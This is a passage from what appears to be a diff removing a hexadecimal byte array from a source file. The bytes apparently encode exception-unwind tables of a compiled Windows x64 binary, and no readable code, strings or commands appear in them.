0x00, - 0xc4, 0xab, 0x01, 0x00, 0x21, 0x00, 0x00, 0x00, 0x5d, 0x17, 0x00, 0x00, - 0xa6, 0x17, 0x00, 0x00, 0xa8, 0xab, 0x01, 0x00, 0x21, 0x00, 0x00, 0x00, - 0xd0, 0x16, 0x00, 0x00, 0x5d, 0x17, 0x00, 0x00, 0x94, 0xab, 0x01, 0x00, - 0x01, 0x04, 0x01, 0x00, 0x04, 0x62, 0x00, 0x00, 0x21, 0x05, 0x02, 0x00, - 0x05, 0x34, 0x06, 0x00, 0xb0, 0x18, 0x00, 0x00, 0xbd, 0x18, 0x00, 0x00, - 0x1c, 0xac, 0x01, 0x00, 0x21, 0x00, 0x00, 0x00, 0xb0, 0x18, 0x00, 0x00, - 0xbd, 0x18, 0x00, 0x00, 0x1c, 0xac, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x11, 0x15, 0x08, 0x00, 0x15, 0x74, 0x09, 0x00, 0x15, 0x64, 0x07, 0x00, - 0x15, 0x34, 0x06, 0x00, 0x15, 0x32, 0x11, 0xe0, 0x50, 0x27, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x00, 0x28, 0x1a, 0x00, 0x00, 0x97, 0x1a, 0x00, 0x00, - 0x60, 0x16, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfa, 0x1a, 0x00, 0x00, - 0x05, 0x1b, 0x00, 0x00, 0x60, 0x16, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x50, 0x11, 0x0a, 0x04, 0x00, - 0x0a, 0x34, 0x08, 0x00, 0x0a, 0x52, 0x06, 0x70, 0x50, 0x27, 0x00, 0x00, - 0x04, 0x00, 0x00, 0x00, 0x3f, 0x1b, 0x00, 0x00, 0x5e, 0x1b, 0x00, 0x00, - 0x77, 0x16, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x1b, 0x00, 0x00, - 0x76, 0x1b, 0x00, 0x00, 0x90, 0x16, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x7f, 0x1b, 0x00, 0x00, 0x8a, 0x1b, 0x00, 0x00, 0x77, 0x16, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x7f, 0x1b, 0x00, 0x00, 0x8b, 0x1b, 0x00, 0x00, - 0x90, 0x16, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, - 0x04, 0x42, 0x00, 0x00, 0x09, 0x1a, 0x06, 0x00, 0x1a, 0x34, 0x0f, 0x00, - 0x1a, 0x72, 0x16, 0xe0, 0x14, 0x70, 0x13, 0x60, 0x50, 0x27, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0xc1, 0x1b, 0x00, 0x00, 0xa7, 0x1c, 0x00, 0x00, - 0xa4, 0x16, 0x01, 0x00, 0xa7, 0x1c, 0x00, 0x00, 0x01, 0x06, 0x02, 0x00, - 0x06, 0x52, 0x02, 0x50, 0x01, 0x0f, 0x06, 0x00, 0x0f, 0x64, 0x07, 0x00, - 0x0f, 0x34, 0x06, 0x00, 0x0f, 0x32, 0x0b, 0x70, 0x01, 0x08, 0x01, 0x00, - 0x08, 0x42, 0x00, 0x00, 0x01, 0x09, 0x01, 0x00, 0x09, 0x62, 0x00, 0x00, - 0x01, 0x0a, 0x04, 0x00, 0x0a, 0x34, 0x0d, 0x00, 0x0a, 0x72, 0x06, 0x70, - 0x01, 0x08, 0x04, 0x00, 0x08, 0x72, 0x04, 0x70, 0x03, 0x60, 0x02, 0x30, - 0x01, 0x06, 0x02, 0x00, 0x06, 0x32, 0x02, 0x30, 0x01, 0x0d, 0x04, 0x00, - 0x0d, 0x34, 0x09, 0x00, 0x0d, 0x32, 0x06, 0x50, 0x09, 0x04, 0x01, 0x00, - 0x04, 0x22, 0x00, 0x00, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xd3, 0x22, 0x00, 0x00, 0x5d, 0x23, 0x00, 0x00, 0xda, 0x16, 0x01, 0x00, - 0x5d, 0x23, 0x00, 0x00, 0x01, 0x02, 0x01, 0x00, 0x02, 0x50, 0x00, 0x00, - 0x01, 0x14, 0x08, 0x00, 0x14, 0x64, 0x08, 0x00, 0x14, 0x54, 0x07, 0x00, - 0x14, 0x34, 0x06, 0x00, 0x14, 0x32, 0x10, 0x70, 0x01, 0x15, 0x05, 0x00, - 0x15, 0x34, 0xba, 0x00, 0x15, 0x01, 0xb8, 0x00, 0x06, 0x50, 0x00, 0x00, - 0x01, 0x0a, 0x04, 0x00, 0x0a, 0x34, 0x06, 0x00, 0x0a, 0x32, 0x06, 0x70, - 0x01, 0x0f, 0x06, 0x00, 0x0f, 0x64, 0x06, 0x00, 0x0f, 0x34, 0x05, 0x00, - 0x0f, 0x12, 0x0b, 0x70, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x01, 0x1c, 0x0c, 0x00, 0x1c, 0x64, 0x10, 0x00, - 0x1c, 0x54, 0x0f, 0x00, 0x1c, 0x34, 0x0e, 0x00, 0x1c, 0x72, 0x18, 0xf0, - 0x16, 0xe0, 0x14, 0xd0, 0x12, 0xc0, 0x10, 0x70, 0x09, 0x0d, 0x01, 0x00, - 0x0d, 0x82, 0x00, 0x00, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x3d, 0x2a, 0x00, 0x00, 0x4c, 0x2a, 0x00, 0x00, 0xf2, 0x16, 0x01, 0x00, - 0x4c, 0x2a, 0x00, 0x00, 0x01, 0x07, 0x03, 0x00, 0x07, 0x42, 0x03, 0x50, - 0x02, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x01, 0x03, 0x00, - 0x02, 0x16, 0x00, 0x06, 0x01, 0x70, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x02, 0x02, 0x04, 0x00, 0x03, 0x16, 0x00, 0x06, - 0x02, 0x60, 0x01, 0x70, 0x01, 0x00, 0x00, 0x00, 0x01, 0x1c, 0x0c, 0x00, - 0x1c, 0x64, 0x0c, 0x00, 0x1c, 0x54, 0x0b, 0x00, 0x1c, 0x34, 0x0a, 0x00, - 0x1c, 0x32, 0x18, 0xf0, 0x16, 0xe0, 0x14, 0xd0, 0x12, 0xc0, 0x10, 0x70, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, 0x04, 0x42, 0x00, 0x00, - 0x01, 0x04, 0x01, 0x00, 0x04, 0x42, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, - 0x04, 0x42, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, 0x04, 0x42, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x19, 0x2b, 0x09, 0x00, 0x1a, 0x01, 0x9e, 0x00, - 0x0b, 0xf0, 0x09, 0xe0, 0x07, 0xc0, 0x05, 0x70, 0x04, 0x60, 0x03, 0x30, - 0x02, 0x50, 0x00, 0x00, 0x30, 0x13, 0x01, 0x00, 0xe0, 0x04, 0x00, 0x00, - 0x01, 0x22, 0x0a, 0x00, 0x22, 0x74, 0x09, 0x00, 0x22, 0x64, 0x08, 0x00, - 0x22, 0x54, 0x07, 0x00, 0x22, 0x34, 0x06, 0x00, 0x22, 0x32, 0x1e, 0xe0, - 0x01, 0x10, 0x06, 0x00, 0x10, 0x74, 0x07, 0x00, 0x10, 0x34, 0x06, 0x00, - 0x10, 0x32, 0x0c, 0xe0, 0x01, 0x12, 0x08, 0x00, 0x12, 0x54, 0x0a, 0x00, - 0x12, 0x34, 0x09, 0x00, 0x12, 0x32, 0x0e, 0xe0, 0x0c, 0x70, 0x0b, 0x60, - 0x01, 0x18, 0x0a, 0x00, 0x18, 0x64, 0x0d, 0x00, 0x18, 0x54, 0x0c, 0x00, - 0x18, 0x34, 0x0b, 0x00, 0x18, 0x52, 0x14, 0xf0, 0x12, 0xe0, 0x10, 0x70, - 0x01, 0x06, 0x02, 0x00, 0x06, 0x52, 0x02, 0x30, 0x01, 0x0a, 0x04, 0x00, - 0x0a, 0x34, 0x0d, 0x00, 0x0a, 0x92, 0x06, 0x70, 0x01, 0x19, 0x0a, 0x00, - 0x19, 0x74, 0x09, 0x00, 0x19, 0x64, 0x08, 0x00, 0x19, 0x54, 0x07, 0x00, - 0x19, 0x34, 0x06, 0x00, 0x19, 0x32, 0x15, 0xe0, 0x19, 0x1e, 0x06, 0x00, - 0x0f, 0x64, 0x0e, 0x00, 0x0f, 0x34, 0x0d, 0x00, 0x0f, 0x92, 0x0b, 0x70, - 0x30, 0x13, 0x01, 0x00, 0x40, 0x00, 0x00, 0x00, 0x01, 0x0f, 0x04, 0x00, - 0x0f, 0x74, 0x02, 0x00, 0x0a, 0x34, 0x01, 0x00, 0x01, 0x05, 0x02, 0x00, - 0x05, 0x34, 0x01, 0x00, 0x01, 0x1d, 0x0c, 0x00, 0x1d, 0x74, 0x0f, 0x00, - 0x1d, 0x64, 0x0e, 0x00, 0x1d, 0x54, 0x0d, 0x00, 0x1d, 0x34, 0x0c, 0x00, - 0x1d, 0x72, 0x19, 0xf0, 0x17, 0xe0, 0x15, 0xd0, 0x01, 0x16, 0x04, 0x00, - 0x16, 0x34, 0x0c, 0x00, 0x16, 0x92, 0x0f, 0x50, 0x09, 0x06, 0x02, 0x00, - 0x06, 0x32, 0x02, 0x30, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xf1, 0x56, 0x00, 0x00, 0x40, 0x57, 0x00, 0x00, 0xa2, 0x17, 0x01, 0x00, - 0x8b, 0x57, 0x00, 0x00, 0x11, 0x0f, 0x04, 0x00, 0x0f, 0x34, 0x06, 0x00, - 0x0f, 0x32, 0x0b, 0x70, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xb5, 0x56, 0x00, 0x00, 0xbe, 0x56, 0x00, 0x00, 0x88, 0x17, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x13, 0x08, 0x00, 0x13, 0x34, 0x0c, 0x00, - 0x13, 0x52, 0x0c, 0xf0, 0x0a, 0xe0, 0x08, 0x70, 0x07, 0x60, 0x06, 0x50, - 0x01, 0x1d, 0x0c, 0x00, 0x1d, 0x74, 0x0b, 0x00, 0x1d, 0x64, 0x0a, 0x00, - 0x1d, 0x54, 0x09, 0x00, 0x1d, 0x34, 0x08, 0x00, 0x1d, 0x32, 0x19, 0xf0, - 0x17, 0xe0, 0x15, 0xc0, 0x01, 0x0f, 0x04, 0x00, 0x0f, 0x34, 0x06, 0x00, - 0x0f, 0x32, 0x0b, 0x70, 0x01, 0x18, 0x0a, 0x00, 0x18, 0x64, 0x0c, 0x00, - 0x18, 0x54, 0x0b, 0x00, 0x18, 0x34, 0x0a, 0x00, 0x18, 0x52, 0x14, 0xf0, - 0x12, 0xe0, 0x10, 0x70, 0x01, 0x0b, 0x01, 0x00, 0x0b, 0x62, 0x00, 0x00, - 0x01, 0x18, 0x0a, 0x00, 0x18, 0x64, 0x0a, 0x00, 0x18, 0x54, 0x09, 0x00, - 0x18, 0x34, 0x08, 0x00, 0x18, 0x32, 0x14, 0xf0, 0x12, 0xe0, 0x10, 0x70, - 0x11, 0x0f, 0x04, 0x00, 0x0f, 0x34, 0x06, 0x00, 0x0f, 0x32, 0x0b, 0x70, - 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x25, 0x5f, 0x00, 0x00, - 0x2f, 0x5f, 0x00, 0x00, 0x88, 0x17, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x09, 0x04, 0x01, 0x00, 0x04, 0x42, 0x00, 0x00, 0x50, 0x27, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x82, 0x62, 0x00, 0x00, 0x8a, 0x62, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x8a, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x01, 0x0a, 0x02, 0x00, 0x0a, 0x32, 0x06, 0x30, - 0x01, 0x09, 0x02, 0x00, 0x09, 0x92, 0x02, 0x50, 0x01, 0x09, 0x02, 0x00, - 0x09, 0x72, 0x02, 0x50, 0x11, 0x0f, 0x04, 0x00, 0x0f, 0x34, 0x06, 0x00, - 0x0f, 0x32, 0x0b, 0x70, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x31, 0x64, 0x00, 0x00, 0x41, 0x64, 0x00, 0x00, 0x88, 0x17, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x11, 0x0f, 0x04, 0x00, 0x0f, 0x34, 0x06, 0x00, - 0x0f, 0x32, 0x0b, 0x70, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xb1, 0x64, 0x00, 0x00, 0xc7, 0x64, 0x00, 0x00, 0x88, 0x17, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x11, 0x0f, 0x04, 0x00, 0x0f, 0x34, 0x06, 0x00, - 0x0f, 0x32, 0x0b, 0x70, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xf9, 0x64, 0x00, 0x00, 0x29, 0x65, 0x00, 0x00, 0x88, 0x17, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x11, 0x0f, 0x04, 0x00, 0x0f, 0x34, 0x06, 0x00, - 0x0f, 0x32, 0x0b, 0x70, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x71, 0x64, 0x00, 0x00, 0x7f, 0x64, 0x00, 0x00, 0x88, 0x17, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x19, 0x2e, 0x09, 0x00, 0x1d, 0x64, 0xc4, 0x00, - 0x1d, 0x34, 0xc3, 0x00, 0x1d, 0x01, 0xbe, 0x00, 0x0e, 0xe0, 0x0c, 0x70, - 0x0b, 0x50, 0x00, 0x00, 0x30, 0x13, 0x01, 0x00, 0xe0, 0x05, 0x00, 0x00, - 0x01, 0x14, 0x08, 0x00, 0x14, 0x64, 0x0a, 0x00, 0x14, 0x54, 0x09, 0x00, - 0x14, 0x34, 0x08, 0x00, 0x14, 0x52, 0x10, 0x70, 0x01, 0x14, 0x08, 0x00, - 0x14, 0x64, 0x0e, 0x00, 0x14, 0x54, 0x0d, 0x00, 0x14, 0x34, 0x0c, 0x00, - 0x14, 0x92, 0x10, 0x70, 0x01, 0x15, 0x06, 0x00, 0x15, 0x34, 0x10, 0x00, - 0x15, 0xb2, 0x0e, 0x70, 0x0d, 0x60, 0x0c, 0x50, 0x01, 0x19, 0x0a, 0x00, - 0x19, 0x74, 0x11, 0x00, 0x19, 0x64, 0x10, 0x00, 0x19, 0x54, 0x0f, 0x00, - 0x19, 0x34, 0x0e, 0x00, 0x19, 0xb2, 0x15, 0xe0, 0x01, 0x19, 0x0a, 0x00, - 0x19, 0x74, 0x0f, 0x00, 0x19, 0x64, 0x0e, 0x00, 0x19, 0x54, 0x0d, 0x00, - 0x19, 0x34, 0x0c, 0x00, 0x19, 0x92, 0x15, 0xf0, 0x01, 0x1c, 0x0c, 0x00, - 0x1c, 0x64, 0x16, 0x00, 0x1c, 0x54, 0x15, 0x00, 0x1c, 0x34, 0x14, 0x00, - 0x1c, 0xd2, 0x18, 0xf0, 0x16, 0xe0, 0x14, 0xd0, 0x12, 0xc0, 0x10, 0x70, - 0x01, 0x19, 0x0a, 0x00, 0x19, 0x74, 0x0d, 0x00, 0x19, 0x64, 0x0c, 0x00, - 0x19, 0x54, 0x0b, 0x00, 0x19, 0x34, 0x0a, 0x00, 0x19, 0x72, 0x15, 0xe0, - 0x01, 0x15, 0x08, 0x00, 0x15, 0x74, 0x0e, 0x00, 0x15, 0x54, 0x0d, 0x00, - 0x15, 0x34, 0x0c, 0x00, 0x15, 0x92, 0x11, 0xe0, 0x01, 0x07, 0x01, 0x00, - 0x07, 0x42, 0x00, 0x00, 0x11, 0x14, 0x06, 0x00, 0x14, 0x64, 0x09, 0x00, - 0x14, 0x34, 0x08, 0x00, 0x14, 0x52, 0x10, 0x70, 0x50, 0x27, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x83, 0x84, 0x00, 0x00, 0xbb, 0x84, 0x00, 0x00, - 0xbd, 0x17, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x06, 0x02, 0x00, - 0x06, 0x32, 0x02, 0x30, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x1e, 0x87, 0x00, 0x00, 0x35, 0x87, 0x00, 0x00, 0xd7, 0x17, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x1c, 0x0b, 0x00, 0x1c, 0x74, 0x17, 0x00, - 0x1c, 0x64, 0x16, 0x00, 0x1c, 0x54, 0x15, 0x00, 0x1c, 0x34, 0x14, 0x00, - 0x1c, 0x01, 0x12, 0x00, 0x15, 0xe0, 0x00, 0x00, 0x01, 0x05, 0x02, 0x00, - 0x05, 0x74, 0x01, 0x00, 0x19, 0x28, 0x08, 0x00, 0x1a, 0x74, 0x14, 0x00, - 0x1a, 0x64, 0x13, 0x00, 0x1a, 0x34, 0x12, 0x00, 0x1a, 0xf2, 0x10, 0x50, - 0x30, 0x13, 0x01, 0x00, 0x70, 0x00, 0x00, 0x00, 0x01, 0x19, 0x0a, 0x00, - 0x19, 0x74, 0x0b, 0x00, 0x19, 0x64, 0x0a, 0x00, 0x19, 0x54, 0x09, 0x00, - 0x19, 0x34, 0x08, 0x00, 0x19, 0x52, 0x15, 0xe0, 0x01, 0x1c, 0x0a, 0x00, - 0x1c, 0x34, 0x14, 0x00, 0x1c, 0xb2, 0x15, 0xf0, 0x13, 0xe0, 0x11, 0xd0, - 0x0f, 0xc0, 0x0d, 0x70, 0x0c, 0x60, 0x0b, 0x50, 0x01, 0x1c, 0x0c, 0x00, - 0x1c, 0x64, 0x0e, 0x00, 0x1c, 0x54, 0x0d, 0x00, 0x1c, 0x34, 0x0c, 0x00, - 0x1c, 0x52, 0x18, 0xf0, 0x16, 0xe0, 0x14, 0xd0, 0x12, 0xc0, 0x10, 0x70, - 0x19, 0x30, 0x0b, 0x00, 0x1f, 0x34, 0x71, 0x00, 0x1f, 0x01, 0x66, 0x00, - 0x10, 0xf0, 0x0e, 0xe0, 0x0c, 0xd0, 0x0a, 0xc0, 0x08, 0x70, 0x07, 0x60, - 0x06, 0x50, 0x00, 0x00, 0x30, 0x13, 0x01, 0x00, 0x20, 0x03, 0x00, 0x00, - 0x19, 0x2b, 0x07, 0x00, 0x1a, 0x74, 0x56, 0x00, 0x1a, 0x34, 0x55, 0x00, - 0x1a, 0x01, 0x52, 0x00, 0x0b, 0x50, 0x00, 0x00, 0x30, 0x13, 0x01, 0x00, - 0x80, 0x02, 0x00, 0x00, 0x01, 0x14, 0x08, 0x00, 0x14, 0x64, 0x0c, 0x00, - 0x14, 0x54, 0x0b, 0x00, 0x14, 0x34, 0x0a, 0x00, 0x14, 0x72, 0x10, 0x70, - 0x19, 0x23, 0x0a, 0x00, 0x14, 0x34, 0x12, 0x00, 0x14, 0x72, 0x10, 0xf0, - 0x0e, 0xe0, 0x0c, 0xd0, 0x0a, 0xc0, 0x08, 0x70, 0x07, 0x60, 0x06, 0x50, - 0x30, 0x13, 0x01, 0x00, 0x38, 0x00, 0x00, 0x00, 0x01, 0x06, 0x02, 0x00, - 0x06, 0x72, 0x02, 0x30, 0x11, 0x0f, 0x06, 0x00, 0x0f, 0x64, 0x08, 0x00, - 0x0f, 0x34, 0x07, 0x00, 0x0f, 0x32, 0x0b, 0x70, 0x50, 0x27, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x6d, 0xa2, 0x00, 0x00, 0xbc, 0xa2, 0x00, 0x00, - 0xf0, 0x17, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x19, 0x06, 0x00, - 0x19, 0x34, 0x0c, 0x00, 0x19, 0x72, 0x12, 0x70, 0x11, 0x60, 0x10, 0x50, - 0x19, 0x2b, 0x07, 0x00, 0x1a, 0x64, 0xf4, 0x00, 0x1a, 0x34, 0xf3, 0x00, - 0x1a, 0x01, 0xf0, 0x00, 0x0b, 0x50, 0x00, 0x00, 0x30, 0x13, 0x01, 0x00, - 0x70, 0x07, 0x00, 0x00, 0x11, 0x0f, 0x04, 0x00, 0x0f, 0x34, 0x06, 0x00, - 0x0f, 0x32, 0x0b, 0x70, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xd9, 0x9b, 0x00, 0x00, 0x64, 0x9d, 0x00, 0x00, 0x88, 0x17, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x0f, 0x06, 0x00, 0x0f, 0x64, 0x0b, 0x00, - 0x0f, 0x34, 0x0a, 0x00, 0x0f, 0x72, 0x0b, 0x70, 0x01, 0x06, 0x03, 0x00, - 0x06, 0x34, 0x02, 0x00, 0x06, 0x70, 0x00, 0x00, 0x11, 0x06, 0x02, 0x00, - 0x06, 0x32, 0x02, 0x30, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xa2, 0xaa, 0x00, 0x00, 0xb8, 0xaa, 0x00, 0x00, 0x09, 0x18, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x11, 0x11, 0x08, 0x00, 0x11, 0x34, 0x11, 0x00, - 0x11, 0x72, 0x0d, 0xe0, 0x0b, 0xd0, 0x09, 0xc0, 0x07, 0x70, 0x06, 0x60, - 0x50, 0x27, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x81, 0xac, 0x00, 0x00, - 0x3f, 0xad, 0x00, 0x00, 0x1f, 0x18, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xb1, 0xad, 0x00, 0x00, 0xc9, 0xad, 0x00, 0x00, 0x1f, 0x18, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x11, 0x0f, 0x04, 0x00, 0x0f, 0x34, 0x06, 0x00, - 0x0f, 0x32, 0x0b, 0x70, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xe2, 0xaa, 0x00, 0x00, 0xf8, 0xaa, 0x00, 0x00, 0x88, 0x17, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x0c, 0x02, 0x00, 0x0c, 0x72, 0x05, 0x50, - 0x11, 0x0f, 0x04, 0x00, 0x0f, 0x34, 0x06, 0x00, 0x0f, 0x32, 0x0b, 0x70, - 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x42, 0xae, 0x00, 0x00, - 0xab, 0xae, 0x00, 0x00, 0x40, 0x18, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x11, 0x12, 0x06, 0x00, 0x12, 0x34, 0x10, 0x00, 0x12, 0xb2, 0x0e, 0xe0, - 0x0c, 0x70, 0x0b, 0x60, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xe0, 0xae, 0x00, 0x00, 0x88, 0xaf, 0x00, 0x00, 0x5b, 0x18, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x11, 0x0a, 0x04, 0x00, 0x0a, 0x34, 0x06, 0x00, - 0x0a, 0x32, 0x06, 0x70, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x3d, 0xb4, 0x00, 0x00, 0x4f, 0xb4, 0x00, 0x00, 0x78, 0x18, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x01, 0x17, 0x0a, 0x00, 0x17, 0x54, 0x0c, 0x00, - 0x17, 0x34, 0x0b, 0x00, 0x17, 0x32, 0x13, 0xf0, 0x11, 0xe0, 0x0f, 0xd0, - 0x0d, 0xc0, 0x0b, 0x70, 0x19, 0x2b, 0x09, 0x00, 0x1a, 0x01, 0xfe, 0x00, - 0x0b, 0xf0, 0x09, 0xe0, 0x07, 0xc0, 0x05, 0x70, 0x04, 0x60, 0x03, 0x30, - 0x02, 0x50, 0x00, 0x00, 0x30, 0x13, 0x01, 0x00, 0xe0, 0x07, 0x00, 0x00, - 0x01, 0x16, 0x09, 0x00, 0x16, 0x01, 0x44, 0x00, 0x0f, 0xf0, 0x0d, 0xe0, - 0x0b, 0xc0, 0x09, 0x70, 0x08, 0x60, 0x07, 0x50, 0x06, 0x30, 0x00, 0x00, - 0x21, 0x08, 0x02, 0x00, 0x08, 0xd4, 0x43, 0x00, 0x00, 0xb9, 0x00, 0x00, - 0x2c, 0xbb, 0x00, 0x00, 0x28, 0xb5, 0x01, 0x00, 0x21, 0x00, 0x00, 0x00, - 0x00, 0xb9, 0x00, 0x00, 0x2c, 0xbb, 0x00, 0x00, 0x28, 0xb5, 0x01, 0x00, - 0x11, 0x0a, 0x04, 0x00, 0x0a, 0x34, 0x08, 0x00, 0x0a, 0x52, 0x06, 0x70, - 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x26, 0xd0, 0x00, 0x00, - 0xa4, 0xd0, 0x00, 0x00, 0x91, 0x18, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x01, 0x0e, 0x02, 0x00, 0x0e, 0x32, 0x0a, 0x30, 0x01, 0x18, 0x06, 0x00, - 0x18, 0x54, 0x07, 0x00, 0x18, 0x34, 0x06, 0x00, 0x18, 0x32, 0x14, 0x60, - 0x19, 0x2d, 0x0d, 0x35, 0x1f, 0x74, 0x14, 0x00, 0x1b, 0x64, 0x13, 0x00, - 0x17, 0x34, 0x12, 0x00, 0x13, 0x33, 0x0e, 0xb2, 0x0a, 0xf0, 0x08, 0xe0, - 0x06, 0xd0, 0x04, 0xc0, 0x02, 0x50, 0x00, 0x00, 0x30, 0x13, 0x01, 0x00, - 0x50, 0x00, 0x00, 0x00, 0x01, 0x15, 0x08, 0x00, 0x15, 0x74, 0x08, 0x00, - 0x15, 0x64, 0x07, 0x00, 0x15, 0x34, 0x06, 0x00, 0x15, 0x32, 0x11, 0xe0, - 0x01, 0x14, 0x06, 0x00, 0x14, 0x64, 0x07, 0x00, 0x14, 0x34, 0x06, 0x00, - 0x14, 0x32, 0x10, 0x70, 0x11, 0x15, 0x08, 0x00, 0x15, 0x74, 0x0a, 0x00, - 0x15, 0x64, 0x09, 0x00, 0x15, 0x34, 0x08, 0x00, 0x15, 0x52, 0x11, 0xf0, - 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x13, 0xd7, 0x00, 0x00, - 0x5a, 0xd7, 0x00, 0x00, 0xd7, 0x17, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x19, 0x1f, 0x05, 0x00, 0x0d, 0x01, 0x8a, 0x00, 0x06, 0xe0, 0x04, 0xd0, - 0x02, 0xc0, 0x00, 0x00, 0x30, 0x13, 0x01, 0x00, 0x10, 0x04, 0x00, 0x00, - 0x21, 0x28, 0x0a, 0x00, 0x28, 0xf4, 0x85, 0x00, 0x20, 0x74, 0x86, 0x00, - 0x18, 0x64, 0x87, 0x00, 0x10, 0x54, 0x88, 0x00, 0x08, 0x34, 0x89, 0x00, - 0xa0, 0xd9, 0x00, 0x00, 0xfb, 0xd9, 0x00, 0x00, 0x18, 0xb6, 0x01, 0x00, - 0x21, 0x00, 0x00, 0x00, 0xa0, 0xd9, 0x00, 0x00, 0xfb, 0xd9, 0x00, 0x00, - 0x18, 0xb6, 0x01, 0x00, 0x01, 0x0b, 0x05, 0x00, 0x0b, 0x64, 0x03, 0x00, - 0x0b, 0x34, 0x02, 0x00, 0x0b, 0x70, 0x00, 0x00, 0x19, 0x13, 0x01, 0x00, - 0x04, 0xa2, 0x00, 0x00, 0x30, 0x13, 0x01, 0x00, 0x40, 0x00, 0x00, 0x00, - 0x01, 0x0a, 0x04, 0x00, 0x0a, 0x34, 0x0a, 0x00, 0x0a, 0x72, 0x06, 0x70, - 0x01, 0x0f, 0x06, 0x00, 0x0f, 0x64, 0x11, 0x00, 0x0f, 0x34, 0x10, 0x00, - 0x0f, 0xd2, 0x0b, 0x70, 0x19, 0x2d, 0x0d, 0x55, 0x1f, 0x74, 0x14, 0x00, - 0x1b, 0x64, 0x13, 0x00, 0x17, 0x34, 0x12, 0x00, 0x13, 0x53, 0x0e, 0xb2, - 0x0a, 0xf0, 0x08, 0xe0, 0x06, 0xd0, 0x04, 0xc0, 0x02, 0x50, 0x00, 0x00, - 0x30, 0x13, 0x01, 0x00, 0x58, 0x00, 0x00, 0x00, 0x01, 0x08, 0x01, 0x00, - 0x08, 0x62, 0x00, 0x00, 0x11, 0x0f, 0x04, 0x00, 0x0f, 0x34, 0x06, 0x00, - 0x0f, 0x32, 0x0b, 0x70, 0x50, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0xc1, 0xe7, 0x00, 0x00, 0x1c, 0xe8, 0x00, 0x00, 0xaa, 0x18, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x11, 0x1b, 0x0a, 0x00, 0x1b, 0x64, 0x0c, 0x00, - 0x1b, 0x34, 0x0b, 0x00, 0x1b, 0x32, 0x17, 0xf0, 0x15, 0xe0, 0x13, 0xd0, - 0x11, 0xc0, 0x0f, 0x70, 0x50, 0x27, 0x00, 